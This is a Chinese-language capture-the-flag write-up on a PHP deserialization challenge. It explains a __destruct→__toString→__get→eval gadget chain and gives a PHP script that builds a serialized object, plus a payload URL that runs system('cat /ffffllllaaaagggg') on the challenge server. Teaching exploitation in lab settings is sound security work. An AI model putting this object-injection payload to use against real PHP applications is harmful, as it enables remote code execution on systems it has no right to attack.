easy_serialize

本文最后更新于:2023年10月15日 晚上

easy_serialize

payload

先上payload:

1
http://124.220.165.133:9906/?a=O:5:"Hello":2:{s:6:"source";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:5:"Uwant":1:{s:6:"params";s:32:"system('cat /ffffllllaaaagggg');";}}};}

分析

先把网页上的代码拷到vscode里,以便后续查看和修改

e1

第40行有个eval函数,那就从这里倒推

evalgetshell函数里,而getshell__get函数调用

1
2
3
4
__construct()        #当一个对象创建时触发     
__destruct() #当一个对象被销毁时触发
__toString() #把类当作字符串使用时触发
__get() #用于从不存在或不可访问的属性读取数据时

显然,在Show类的__tostring()中:

1
2
3
4
5
6
7
8
9
10
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}

$this->str['str']为类Uwant时,

这段代码会调用Uwant中不存在的source变量,导致触发__get()

接下来,我们分析如何触发__toString()

Hello类中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}

如果$this->source为一个Show类的对象,

那么__destruct()

1
echo $this->source;

就是将Show类对象当作字符串使用,

即触发__toString()

分析总结

我们需要序列化一个Hello类对象,

这个对象的$str为一个Show类对象,

Show类对象的$str['str']为一个Uwant类对象。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params="system('cat /ffffllllaaaagggg');";
}
$a = new Hello;
$a->str=new Show;
$a->str->str['str']=new Uwant;
echo serialize($a);
?>

payload:

1
http://124.220.165.133:9906/?a=O:5:"Hello":2:{s:6:"source";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:5:"Uwant":1:{s:6:"params";s:32:"system('cat /ffffllllaaaagggg');";}}};}

easy_serialize
http://example.com/2023/04/23/easy-serialize/
作者
sawtooth384
发布于
2023年4月23日
许可协议